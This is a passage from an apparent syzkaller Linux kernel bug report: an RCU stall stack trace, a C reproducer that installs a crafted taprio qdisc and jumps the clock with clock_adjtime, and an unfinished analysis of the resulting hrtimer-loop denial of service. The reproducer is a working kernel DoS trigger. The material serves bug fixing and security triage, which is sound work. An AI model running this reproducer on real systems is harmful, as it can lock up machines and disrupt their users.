 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1052 [inline]
 sysvec_apic_timer_interrupt+0xa1/0xc0 arch/x86/kernel/apic/apic.c:1052
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:__raw_spin_unlock_irqrestore include/linux/spinlock_api_smp.h:152 [inline]
RIP: 0010:_raw_spin_unlock_irqrestore+0xa8/0x110 kernel/locking/spinlock.c:194
Code: 74 05 e8 db e5 40 f6 48 c7 44 24 20 00 00 00 00 9c 8f 44 24 20 f6 44 24 21 02 75 4f f7 c3 00 02 00 00 74 01 fb bf 01 00 00 00 <e8> f3 7c 09 f6 65 8b 05 ac 68 3d 07 85 c0 74 40 48 c7 04 24 0e 36
RSP: 0018:ffffc90002ef6fa0 EFLAGS: 00000206
RAX: c40c4dc7bc3a9000 RBX: 0000000000000a02 RCX: c40c4dc7bc3a9000
RDX: 0000000000000007 RSI: ffffffff8dbc0fba RDI: 0000000000000001
RBP: ffffc90002ef7028 R08: ffffffff8fc43c37 R09: 1ffffffff1f88786
R10: dffffc0000000000 R11: fffffbfff1f88787 R12: dffffc0000000000
R13: 0000000000000d40 R14: ffffffff8eae95b0 R15: 1ffff920005dedf4
 stack_depot_save_flags+0x41b/0x860 lib/stackdepot.c:720
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x4f/0x80 mm/kasan/common.c:77
 unpoison_slab_object mm/kasan/common.c:342 [inline]
 __kasan_slab_alloc+0x6c/0x80 mm/kasan/common.c:368
 kasan_slab_alloc include/linux/kasan.h:252 [inline]
 slab_post_alloc_hook mm/slub.c:4927 [inline]
 slab_alloc_node mm/slub.c:5226 [inline]
 kmem_cache_alloc_noprof+0x367/0x6e0 mm/slub.c:5233
 journal_alloc_journal_head fs/jbd2/journal.c:2826 [inline]
 jbd2_journal_add_journal_head+0x95/0x4b0 fs/jbd2/journal.c:2894
 jbd2_journal_get_write_access+0x1c9/0x230 fs/jbd2/transaction.c:1237
 __ext4_journal_get_write_access+0x1c3/0x570 fs/ext4/ext4_jbd2.c:242
 ext4_reserve_inode_write+0x294/0x360 fs/ext4/inode.c:6326
 __ext4_mark_inode_dirty+0x15b/0x700 fs/ext4/inode.c:6501
 ext4_dirty_inode+0xd0/0x110 fs/ext4/inode.c:6538
 __mark_inode_dirty+0x2ec/0xe10 fs/fs-writeback.c:2567
 generic_update_time fs/inode.c:2087 [inline]
 inode_update_time fs/inode.c:2100 [inline]
 touch_atime+0x59b/0x6d0 fs/inode.c:2172
 file_accessed include/linux/fs.h:2675 [inline]
 ext4_file_mmap_prepare+0x24d/0x440 fs/ext4/file.c:828
 vfs_mmap_prepare include/linux/fs.h:2412 [inline]
 call_mmap_prepare mm/vma.c:2593 [inline]
 __mmap_region mm/vma.c:2671 [inline]
 mmap_region+0xb38/0x1c70 mm/vma.c:2764
 do_mmap+0xc45/0x10d0 mm/mmap.c:558
 vm_mmap_pgoff+0x2a6/0x4d0 mm/util.c:580
 ksys_mmap_pgoff+0x51f/0x760 mm/mmap.c:604
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0xfa/0xfa0 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fc34ea53242
Code: 08 00 04 00 00 eb e2 90 41 f7 c1 ff 0f 00 00 75 27 55 89 cd 53 48 89 fb 48 85 ff 74 33 41 89 ea 48 89 df b8 09 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 5e 5b 5d c3 0f 1f 00 c7 05 46 40 01 00 16 00
RSP: 002b:00007ffc758046c8 EFLAGS: 00000206 ORIG_RAX: 0000000000000009
RAX: ffffffffffffffda RBX: 00007fc34e7ad000 RCX: 00007fc34ea53242
RDX: 0000000000000005 RSI: 000000000014e000 RDI: 00007fc34e7ad000
RBP: 0000000000000812 R08: 0000000000000003 R09: 0000000000028000
R10: 0000000000000812 R11: 0000000000000206 R12: 00007ffc75804718
R13: 00007fc34ea275f0 R14: 00007ffc75804f00 R15: 00000fff8eb008dc
 </TASK>
rcu: rcu_preempt kthread starved for 10210 jiffies! g10297 f0x0 RCU_GP_WAIT_FQS(5) ->state=0x0 ->cpu=0
rcu: 	Unless rcu_preempt kthread gets sufficient CPU time, OOM is now expected behavior.
rcu: RCU grace-period kthread stack dump:
task:rcu_preempt     state:R  running task     stack:26696 pid:16    tgid:16    ppid:2      task_flags:0x208040 flags:0x00004000
Call Trace:
 <TASK>
 context_switch kernel/sched/core.c:5360 [inline]
 __schedule+0x1798/0x4cc0 kernel/sched/core.c:6964
 __schedule_loop kernel/sched/core.c:7046 [inline]
 schedule+0x165/0x360 kernel/sched/core.c:7061
 schedule_timeout+0x12b/0x270 kernel/time/sleep_timeout.c:99
 rcu_gp_fqs_loop+0x301/0x1540 kernel/rcu/tree.c:2083
 rcu_gp_kthread+0x99/0x390 kernel/rcu/tree.c:2285
 kthread+0x711/0x8a0 kernel/kthread.c:463
 ret_from_fork+0x4bc/0x870 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
 </TASK>
rcu: Stack dump where RCU GP kthread last ran:
CPU: 0 UID: 0 PID: 5873 Comm: udevd Not tainted syzkaller #0 PREEMPT(full) 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 08/18/2025
RIP: 0010:csd_lock_wait kernel/smp.c:342 [inline]
RIP: 0010:smp_call_function_many_cond+0xd33/0x12d0 kernel/smp.c:877
Code: 45 8b 2c 24 44 89 ee 83 e6 01 31 ff e8 e6 7f 0b 00 41 83 e5 01 49 bd 00 00 00 00 00 fc ff df 75 07 e8 91 7b 0b 00 eb 38 f3 90 <42> 0f b6 04 2b 84 c0 75 11 41 f7 04 24 01 00 00 00 74 1e e8 75 7b
RSP: 0000:ffffc900039f7700 EFLAGS: 00000293
RAX: ffffffff81b457ab RBX: 1ffff110170e8005 RCX: ffff88801ffb1e40
RDX: 0000000000000000 RSI: 0000000000000001 RDI: 0000000000000000
RBP: ffffc900039f7880 R08: ffffffff8fc43c37 R09: 1ffffffff1f88786
R10: dffffc0000000000 R11: fffffbfff1f88787 R12: ffff8880b8740028
R13: dffffc0000000000 R14: ffff8880b863b240 R15: 0000000000000001
FS:  00007f45a83bc880(0000) GS:ffff8881259e0000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00005593b3898568 CR3: 000000007210a000 CR4: 00000000003526f0
Call Trace:
 <TASK>
 on_each_cpu_cond_mask+0x3f/0x80 kernel/smp.c:1044
 __flush_tlb_multi arch/x86/include/asm/paravirt.h:91 [inline]
 flush_tlb_multi arch/x86/mm/tlb.c:1361 [inline]
 flush_tlb_mm_range+0x6b1/0x12d0 arch/x86/mm/tlb.c:1451
 flush_tlb_page arch/x86/include/asm/tlbflush.h:324 [inline]
 ptep_clear_flush+0x120/0x170 mm/pgtable-generic.c:101
 wp_page_copy mm/memory.c:3780 [inline]
 do_wp_page+0x1bc2/0x5800 mm/memory.c:4175
 handle_pte_fault mm/memory.c:6233 [inline]
 __handle_mm_fault+0x102e/0x5440 mm/memory.c:6360
 handle_mm_fault+0x40a/0x8e0 mm/memory.c:6529
 do_user_addr_fault+0xa81/0x1390 arch/x86/mm/fault.c:1336
 handle_page_fault arch/x86/mm/fault.c:1476 [inline]
 exc_page_fault+0x82/0x100 arch/x86/mm/fault.c:1532
 asm_exc_page_fault+0x26/0x30 arch/x86/include/asm/idtentry.h:618
RIP: 0033:0x7f45a7cb5b69
Code: 10 48 81 f9 ff 03 00 00 76 28 48 8b 57 20 48 85 d2 74 1f 48 3b 7a 28 75 76 48 8b 4f 28 48 3b 79 20 75 6c 48 83 78 20 00 74 17 <48> 89 4a 28 48 89 51 20 48 83 c4 08 c3 66 2e 0f 1f 84 00 00 00 00
RSP: 002b:00007fffca257670 EFLAGS: 00010202
RAX: 00007f45a7df21d0 RBX: 00005593b3898540 RCX: 00005593b3898540
RDX: 00005593b3898540 RSI: 00007f45a7df21d0 RDI: 00005593b3898540
RBP: 00007f45a7df1ac0 R08: 0000000000002760 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000202 R12: 00000000000049c0
R13: 00005593b389cf00 R14: 0000000000002020 R15: 00007f45a7df1ac0
 </TASK>




It is reproducible with the followint program.
Keep in mind that it may lack the precise threading, sandboxing, and some arguments of a working reproducer.
But it should give an idea of the involved syscalls.

// autogenerated by syzkaller (https://github.com/google/syzkaller)

#define _GNU_SOURCE 

#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

#define BITMASK(bf_off,bf_len) (((1ull << (bf_len)) - 1) << (bf_off))
#define STORE_BY_BITMASK(type,htobe,addr,val,bf_off,bf_len) *(type*)(addr) = htobe((htobe(*(type*)(addr)) & ~BITMASK((bf_off), (bf_len))) | (((type)(val) << (bf_off)) & BITMASK((bf_off), (bf_len))))

uint64_t r[3] = {0xffffffffffffffff, 0x0, 0xffffffffffffffff};

int main(void)
{
		syscall(__NR_mmap, /*addr=*/0x1ffffffff000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
	syscall(__NR_mmap, /*addr=*/0x200000000000ul, /*len=*/0x1000000ul, /*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/7ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
	syscall(__NR_mmap, /*addr=*/0x200001000000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
	const char* reason;
	(void)reason;
				intptr_t res = 0;
	if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {}
//  socket arguments: [
//    domain: socket_domain = 0x11 (8 bytes)
//    type: socket_type = 0x800000003 (8 bytes)
//    proto: int32 = 0x0 (4 bytes)
//  ]
//  returns sock
	res = syscall(__NR_socket, /*domain=AF_PACKET*/0x11ul, /*type=SOCK_RAW|0x800000000*/0x800000003ul, /*proto=*/0);
	if (res != -1)
		r[0] = res;
//  ioctl$ifreq_SIOCGIFINDEX_team arguments: [
//    fd: sock (resource)
//    cmd: const = 0x8933 (4 bytes)
//    arg: ptr[out, ifreq_dev_t["team0", ifindex_team]] {
//      ifreq_dev_t["team0", ifindex_team] {
//        ifr_ifrn: buffer: {74 65 61 6d 30 00 00 00 00 00 00 00 00 00 00 00} (length 0x10)
//        elem: ifindex_team (resource)
//        pad = 0x0 (20 bytes)
//      }
//    }
//  ]
memcpy((void*)0x200000000600, "team0\000\000\000\000\000\000\000\000\000\000\000", 16);
	res = syscall(__NR_ioctl, /*fd=*/r[0], /*cmd=*/0x8933, /*arg=*/0x200000000600ul);
	if (res != -1)
r[1] = *(uint32_t*)0x200000000610;
//  socket$netlink arguments: [
//    domain: const = 0x10 (8 bytes)
//    type: const = 0x3 (8 bytes)
//    proto: netlink_proto = 0x0 (4 bytes)
//  ]
//  returns sock_netlink
	res = syscall(__NR_socket, /*domain=*/0x10ul, /*type=*/3ul, /*proto=*/0);
	if (res != -1)
		r[2] = res;
//  sendmsg$nl_route_sched arguments: [
//    fd: sock_nl_route (resource)
//    msg: ptr[in, msghdr_netlink[netlink_msg_route_sched]] {
//      msghdr_netlink[netlink_msg_route_sched] {
//        addr: nil
//        addrlen: len = 0x0 (4 bytes)
//        pad = 0x0 (4 bytes)
//        vec: ptr[in, iovec[in, netlink_msg_route_sched]] {
//          iovec[in, netlink_msg_route_sched] {
//            addr: ptr[in, netlink_msg_route_sched] {
//              union netlink_msg_route_sched {
//                newqdisc: netlink_msg_t[const[RTM_NEWQDISC, int16], tcmsg[AF_UNSPEC], rtm_tca_policy] {
//                  len: len = 0xc8 (4 bytes)
//                  type: const = 0x24 (2 bytes)
//                  flags: netlink_msg_flags = 0xf0b (2 bytes)
//                  seq: int32 = 0x0 (4 bytes)
//                  pid: int32 = 0x3 (4 bytes)
//                  payload: tcmsg[AF_UNSPEC] {
//                    family: const = 0x0 (1 bytes)
//                    tcm__pad1: const = 0x0 (1 bytes)
//                    tcm__pad2: const = 0x12 (2 bytes)
//                    ifindex: ifindex (resource)
//                    tcm_handle: tcm_handle {
//                      minor: tcm_handle_offsets = 0x0 (2 bytes)
//                      major: tcm_handle_offsets = 0x2 (2 bytes)
//                    }
//                    tcm_parent: tcm_handle {
//                      minor: tcm_handle_offsets = 0xffff (2 bytes)
//                      major: tcm_handle_offsets = 0xffff (2 bytes)
//                    }
//                    tcm_info: tcm_handle {
//                      minor: tcm_handle_offsets = 0x0 (2 bytes)
//                      major: tcm_handle_offsets = 0x0 (2 bytes)
//                    }
//                  }
//                  attrs: array[rtm_tca_policy] {
//                    union rtm_tca_policy {
//                      qdisc_kind_options: union qdisc_kind_options {
//                        q_taprio: tca_kind_options_t["taprio", array[taprio_policy]] {
//                          TCA_KIND: nlattr_t[const[TCA_KIND, int16], string["taprio"]] {
//                            nla_len: offsetof = 0xb (2 bytes)
//                            nla_type: const = 0x1 (2 bytes)
//                            payload: buffer: {74 61 70 72 69 6f 00} (length 0x7)
//                            size: buffer: {} (length 0x0)
//                            pad = 0x0 (1 bytes)
//                          }
//                          TCA_OPTIONS: nlattr_t[const[TCA_OPTIONS, int16], array[taprio_policy]] {
//                            nla_len: offsetof = 0x74 (2 bytes)
//                            nla_type: const = 0x2 (2 bytes)
//                            payload: array[taprio_policy] {
//                              union taprio_policy {
//                                TCA_TAPRIO_ATTR_PRIOMAP: nlattr_t[const[TCA_TAPRIO_ATTR_PRIOMAP, int16], tc_mqprio_qopt] {
//                                  nla_len: offsetof = 0x56 (2 bytes)
//                                  nla_type: const = 0x1 (2 bytes)
//                                  payload: tc_mqprio_qopt {
//                                    num_tc: int8 = 0x2 (1 bytes)
//                                    prio_tc_map: array[int8] {
//                                      int8 = 0x1 (1 bytes)
//                                      int8 = 0x0 (1 bytes)
//                                      int8 = 0x0 (1 bytes)
//                                      int8 = 0x0 (1 bytes)
//                                      int8 = 0x0 (1 bytes)
//                                      int8 = 0x0 (1 bytes)
//                                      int8 = 0x0 (1 bytes)
//                                      int8 = 0x0 (1 bytes)
//                                      int8 = 0x0 (1 bytes)
//                                      int8 = 0x0 (1 bytes)
//                                      int8 = 0x0 (1 bytes)
//                                      int8 = 0x0 (1 bytes)
//                                      int8 = 0x0 (1 bytes)
//                                      int8 = 0x0 (1 bytes)
//                                      int8 = 0x0 (1 bytes)
//                                      int8 = 0x0 (1 bytes)
//                                    }
//                                    hw: int8 = 0x0 (1 bytes)
//                                    count: array[int16] {
//                                      int16 = 0x8 (2 bytes)
//                                      int16 = 0x4 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0xffff (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                    }
//                                    offset: array[int16] {
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x8 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x8 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x4 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                      int16 = 0x0 (2 bytes)
//                                    }
//                                  }
//                                  size: buffer: {} (length 0x0)
//                                  pad = 0x0 (2 bytes)
//                                }
//                              }
//                              union taprio_policy {
//                                TCA_TAPRIO_ATTR_SCHED_CLOCKID: nlattr_t[const[TCA_TAPRIO_ATTR_SCHED_CLOCKID, int16], int32] {
//                                  nla_len: offsetof = 0x8 (2 bytes)
//                                  nla_type: const = 0x5 (2 bytes)
//                                  payload: int32 = 0x0 (4 bytes)
//                                  size: buffer: {} (length 0x0)
//                                }
//                              }
//                              union taprio_policy {
//                                TCA_TAPRIO_ATTR_SCHED_ENTRY_LIST: nlattr_tt[const[TCA_TAPRIO_ATTR_SCHED_ENTRY_LIST, int16:14], 0, 1, array[nlnest[TCA_TAPRIO_SCHED_ENTRY, array[entry_policy$taprio]]]] {
//                                  nla_len: offsetof = 0x10 (2 bytes)
//                                  nla_type: const = 0x2 (1 bytes)
//                                  NLA_F_NET_BYTEORDER: const = 0x0 (0 bytes)
//                                  NLA_F_NESTED: const = 0x1 (1 bytes)
//                                  payload: array[nlattr_tt[const[TCA_TAPRIO_SCHED_ENTRY, int16:14], 0, 1, array[entry_policy$taprio]]] {
//                                    nlattr_tt[const[TCA_TAPRIO_SCHED_ENTRY, int16:14], 0, 1, array[entry_policy$taprio]] {
//                                      nla_len: offsetof = 0xc (2 bytes)
//                                      nla_type: const = 0x1 (1 bytes)
//                                      NLA_F_NET_BYTEORDER: const = 0x0 (0 bytes)
//                                      NLA_F_NESTED: const = 0x1 (1 bytes)
//                                      payload: array[entry_policy$taprio] {
//                                        union entry_policy$taprio {
//                                          TCA_TAPRIO_SCHED_ENTRY_INTERVAL: nlattr_t[const[TCA_TAPRIO_SCHED_ENTRY_INTERVAL, int16], int32] {
//                                            nla_len: offsetof = 0x8 (2 bytes)
//                                            nla_type: const = 0x4 (2 bytes)
//                                            payload: int32 = 0x4000001 (4 bytes)
//                                            size: buffer: {} (length 0x0)
//                                          }
//                                        }
//                                      }
//                                      size: buffer: {} (length 0x0)
//                                    }
//                                  }
//                                  size: buffer: {} (length 0x0)
//                                }
//                              }
//                            }
//                            size: buffer: {} (length 0x0)
//                          }
//                        }
//                      }
//                    }
//                    union rtm_tca_policy {
//                      TCA_STAB: nlattr_tt[const[TCA_STAB, int16:14], 0, 1, array[stab_policy]] {
//                        nla_len: offsetof = 0x24 (2 bytes)
//                        nla_type: const = 0x8 (1 bytes)
//                        NLA_F_NET_BYTEORDER: const = 0x0 (0 bytes)
//                        NLA_F_NESTED: const = 0x1 (1 bytes)
//                        payload: array[stab_policy] {
//                          stab_policy {
//                            TCA_STAB_BASE: nlattr_t[const[TCA_STAB_BASE, int16], tc_sizespec] {
//                              nla_len: offsetof = 0x1c (2 bytes)
//                              nla_type: const = 0x1 (2 bytes)
//                              payload: tc_sizespec {
//                                cell_log: int8 = 0x16 (1 bytes)
//                                size_log: int8 = 0x5 (1 bytes)
//                                cell_align: int16 = 0x1 (2 bytes)
//                                overhead: int32 = 0x5 (4 bytes)
//                                linklayer: linklayer = 0x0 (4 bytes)
//                                mpu: int32 = 0xffffffff (4 bytes)
//                                mtu: int32 = 0x7fffffff (4 bytes)
//                                tsize: len = 0x0 (4 bytes)
//                              }
//                              size: buffer: {} (length 0x0)
//                            }
//                            TCA_STAB_DATA: nlattr_t[const[TCA_STAB_DATA, int16], array[int16]] {
//                              nla_len: offsetof = 0x4 (2 bytes)
//                              nla_type: const = 0x2 (2 bytes)
//                              payload: array[int16] {
//                              }
//                              size: buffer: {} (length 0x0)
//                            }
//                          }
//                        }
//                        size: buffer: {} (length 0x0)
//                      }
//                    }
//                  }
//                }
//              }
//            }
//            len: len = 0xc8 (8 bytes)
//          }
//        }
//        vlen: const = 0x1 (8 bytes)
//        ctrl: const = 0x0 (8 bytes)
//        ctrllen: const = 0x0 (8 bytes)
//        f: send_flags = 0x4000000 (4 bytes)
//        pad = 0x0 (4 bytes)
//      }
//    }
//    f: send_flags = 0x0 (8 bytes)
//  ]
*(uint64_t*)0x2000000007c0 = 0;
*(uint32_t*)0x2000000007c8 = 0;
*(uint64_t*)0x2000000007d0 = 0x200000000780;
*(uint64_t*)0x200000000780 = 0x2000000004c0;
*(uint32_t*)0x2000000004c0 = 0xc8;
*(uint16_t*)0x2000000004c4 = 0x24;
*(uint16_t*)0x2000000004c6 = 0xf0b;
*(uint32_t*)0x2000000004c8 = 0;
*(uint32_t*)0x2000000004cc = 3;
*(uint8_t*)0x2000000004d0 = 0;
*(uint8_t*)0x2000000004d1 = 0;
*(uint16_t*)0x2000000004d2 = 0x12;
*(uint32_t*)0x2000000004d4 = r[1];
*(uint16_t*)0x2000000004d8 = 0;
*(uint16_t*)0x2000000004da = 2;
*(uint16_t*)0x2000000004dc = -1;
*(uint16_t*)0x2000000004de = -1;
*(uint16_t*)0x2000000004e0 = 0;
*(uint16_t*)0x2000000004e2 = 0;
*(uint16_t*)0x2000000004e4 = 0xb;
*(uint16_t*)0x2000000004e6 = 1;
memcpy((void*)0x2000000004e8, "taprio\000", 7);
*(uint16_t*)0x2000000004f0 = 0x74;
*(uint16_t*)0x2000000004f2 = 2;
*(uint16_t*)0x2000000004f4 = 0x56;
*(uint16_t*)0x2000000004f6 = 1;
*(uint8_t*)0x2000000004f8 = 2;
*(uint8_t*)0x2000000004f9 = 1;
*(uint8_t*)0x2000000004fa = 0;
*(uint8_t*)0x2000000004fb = 0;
*(uint8_t*)0x2000000004fc = 0;
*(uint8_t*)0x2000000004fd = 0;
*(uint8_t*)0x2000000004fe = 0;
*(uint8_t*)0x2000000004ff = 0;
*(uint8_t*)0x200000000500 = 0;
*(uint8_t*)0x200000000501 = 0;
*(uint8_t*)0x200000000502 = 0;
*(uint8_t*)0x200000000503 = 0;
*(uint8_t*)0x200000000504 = 0;
*(uint8_t*)0x200000000505 = 0;
*(uint8_t*)0x200000000506 = 0;
*(uint8_t*)0x200000000507 = 0;
*(uint8_t*)0x200000000508 = 0;
*(uint8_t*)0x200000000509 = 0;
*(uint16_t*)0x20000000050a = 8;
*(uint16_t*)0x20000000050c = 4;
*(uint16_t*)0x20000000050e = 0;
*(uint16_t*)0x200000000510 = 0;
*(uint16_t*)0x200000000512 = -1;
*(uint16_t*)0x200000000514 = 0;
*(uint16_t*)0x200000000516 = 0;
*(uint16_t*)0x200000000518 = 0;
*(uint16_t*)0x20000000051a = 0;
*(uint16_t*)0x20000000051c = 0;
*(uint16_t*)0x20000000051e = 0;
*(uint16_t*)0x200000000520 = 0;
*(uint16_t*)0x200000000522 = 0;
*(uint16_t*)0x200000000524 = 0;
*(uint16_t*)0x200000000526 = 0;
*(uint16_t*)0x200000000528 = 0;
*(uint16_t*)0x20000000052a = 0;
*(uint16_t*)0x20000000052c = 8;
*(uint16_t*)0x20000000052e = 0;
*(uint16_t*)0x200000000530 = 0;
*(uint16_t*)0x200000000532 = 0;
*(uint16_t*)0x200000000534 = 0;
*(uint16_t*)0x200000000536 = 0;
*(uint16_t*)0x200000000538 = 0;
*(uint16_t*)0x20000000053a = 0;
*(uint16_t*)0x20000000053c = 8;
*(uint16_t*)0x20000000053e = 0;
*(uint16_t*)0x200000000540 = 0;
*(uint16_t*)0x200000000542 = 0;
*(uint16_t*)0x200000000544 = 4;
*(uint16_t*)0x200000000546 = 0;
*(uint16_t*)0x200000000548 = 0;
*(uint16_t*)0x20000000054c = 8;
*(uint16_t*)0x20000000054e = 5;
*(uint32_t*)0x200000000550 = 0;
*(uint16_t*)0x200000000554 = 0x10;
STORE_BY_BITMASK(uint16_t, , 0x200000000556, 2, 0, 14);
STORE_BY_BITMASK(uint16_t, , 0x200000000557, 0, 6, 1);
STORE_BY_BITMASK(uint16_t, , 0x200000000557, 1, 7, 1);
*(uint16_t*)0x200000000558 = 0xc;
STORE_BY_BITMASK(uint16_t, , 0x20000000055a, 1, 0, 14);
STORE_BY_BITMASK(uint16_t, , 0x20000000055b, 0, 6, 1);
STORE_BY_BITMASK(uint16_t, , 0x20000000055b, 1, 7, 1);
*(uint16_t*)0x20000000055c = 8;
*(uint16_t*)0x20000000055e = 4;
*(uint32_t*)0x200000000560 = 0x4000001;
*(uint16_t*)0x200000000564 = 0x24;
STORE_BY_BITMASK(uint16_t, , 0x200000000566, 8, 0, 14);
STORE_BY_BITMASK(uint16_t, , 0x200000000567, 0, 6, 1);
STORE_BY_BITMASK(uint16_t, , 0x200000000567, 1, 7, 1);
*(uint16_t*)0x200000000568 = 0x1c;
*(uint16_t*)0x20000000056a = 1;
*(uint8_t*)0x20000000056c = 0x16;
*(uint8_t*)0x20000000056d = 5;
*(uint16_t*)0x20000000056e = 1;
*(uint32_t*)0x200000000570 = 5;
*(uint32_t*)0x200000000574 = 0;
*(uint32_t*)0x200000000578 = -1;
*(uint32_t*)0x20000000057c = 0x7fffffff;
*(uint32_t*)0x200000000580 = 0;
*(uint16_t*)0x200000000584 = 4;
*(uint16_t*)0x200000000586 = 2;
*(uint64_t*)0x200000000788 = 0xc8;
*(uint64_t*)0x2000000007d8 = 1;
*(uint64_t*)0x2000000007e0 = 0;
*(uint64_t*)0x2000000007e8 = 0;
*(uint32_t*)0x2000000007f0 = 0x4000000;
	syscall(__NR_sendmsg, /*fd=*/r[2], /*msg=*/0x2000000007c0ul, /*f=*/0ul);
//  clock_adjtime arguments: [
//    id: clock_id = 0x0 (8 bytes)
//    tx: ptr[in, timex] {
//      timex {
//        stuff0: intptr = 0xd54 (8 bytes)
//        stuff1: intptr = 0x0 (8 bytes)
//        stuff2: intptr = 0x0 (8 bytes)
//        stuff3: intptr = 0x0 (8 bytes)
//        stuff4: intptr = 0x0 (8 bytes)
//        stuff5: intptr = 0x0 (8 bytes)
//        stuff6: intptr = 0x0 (8 bytes)
//        stuff7: intptr = 0x0 (8 bytes)
//        stuff8: intptr = 0x0 (8 bytes)
//        stuff9: intptr = 0x8000002 (8 bytes)
//        stuff10: intptr = 0x0 (8 bytes)
//        stuff11: intptr = 0x0 (8 bytes)
//        stuff12: intptr = 0x0 (8 bytes)
//        stuff13: intptr = 0x0 (8 bytes)
//        stuff14: intptr = 0x0 (8 bytes)
//        stuff15: intptr = 0x0 (8 bytes)
//        stuff16: intptr = 0x0 (8 bytes)
//        stuff17: intptr = 0x0 (8 bytes)
//        stuff18: intptr = 0x0 (8 bytes)
//        stuff19: intptr = 0x0 (8 bytes)
//        stuff20: intptr = 0x0 (8 bytes)
//        stuff21: intptr = 0x0 (8 bytes)
//        stuff22: intptr = 0x0 (8 bytes)
//        stuff23: intptr = 0x0 (8 bytes)
//        stuff24: intptr = 0x0 (8 bytes)
//        stuff25: intptr = 0x0 (8 bytes)
//      }
//    }
//  ]
*(uint64_t*)0x200000000480 = 0xd54;
*(uint64_t*)0x200000000488 = 0;
*(uint64_t*)0x200000000490 = 0;
*(uint64_t*)0x200000000498 = 0;
*(uint64_t*)0x2000000004a0 = 0;
*(uint64_t*)0x2000000004a8 = 0;
*(uint64_t*)0x2000000004b0 = 0;
*(uint64_t*)0x2000000004b8 = 0;
*(uint64_t*)0x2000000004c0 = 0;
*(uint64_t*)0x2000000004c8 = 0x8000002;
*(uint64_t*)0x2000000004d0 = 0;
*(uint64_t*)0x2000000004d8 = 0;
*(uint64_t*)0x2000000004e0 = 0;
*(uint64_t*)0x2000000004e8 = 0;
*(uint64_t*)0x2000000004f0 = 0;
*(uint64_t*)0x2000000004f8 = 0;
*(uint64_t*)0x200000000500 = 0;
*(uint64_t*)0x200000000508 = 0;
*(uint64_t*)0x200000000510 = 0;
*(uint64_t*)0x200000000518 = 0;
*(uint64_t*)0x200000000520 = 0;
*(uint64_t*)0x200000000528 = 0;
*(uint64_t*)0x200000000530 = 0;
*(uint64_t*)0x200000000538 = 0;
*(uint64_t*)0x200000000540 = 0;
*(uint64_t*)0x200000000548 = 0;
	syscall(__NR_clock_adjtime, /*id=*/0ul, /*tx=*/0x200000000480ul);
	return 0;
}

Based on the analysis of the bug report and the kernel source code, here is the assessment of the security impact:

### Bug Mechanism
The bug is located in the `taprio` network scheduler (`net/sched/sch_taprio.c`). The scheduler uses a high-resolution timer (`advance_timer`) to advance its schedule. The timer callback function `advance_sched()` calculates the next expiration time by adding the schedule entry's `interval` to the current `end_time`, and then returns `HRTIMER_RESTART` to re-enqueue the timer.

The hrtimer subsystem processes expired timers in a loop within `__hrtimer_run_queues()`. The current time (`basenow`) is captured once before the loop. If a timer is restarted with an expiration time that is still less than `basenow`, it will be picked up again in the same loop iteration.

This logic flaw allows for a Denial of Service (hard lockup / RCU stall) via two main vectors:
1. **Clock Jump (Reproducer's method):** If the system clock is moved forward by a large amount (e.g., using `clock_adjtime()`), `basenow` becomes much larger than `end_time`. The loop in `__hrtimer_run_queues()` will execute `(basenow - end_time) / interval` times. If the clock is moved forward by years, this loop can take billions of iterations, stalling the CPU for seconds and triggering an RCU stall. Modifying the system clock requires `CAP_SYS_TIME` in the init namespace.
